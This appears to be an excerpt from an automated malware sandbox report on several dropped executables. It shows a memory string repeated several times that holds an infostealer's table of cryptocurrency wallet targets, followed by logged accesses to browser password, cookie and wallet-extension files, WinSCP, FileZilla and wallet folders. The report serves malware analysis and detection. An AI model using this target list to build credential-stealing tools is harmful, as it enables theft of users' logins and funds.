Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2935186807.0000000006692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\MultiDoge\multidoge.wallet
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2626409081.000000000454D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\signons.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\logins.json
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\signons.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\formhistory.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\places.sqlite

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
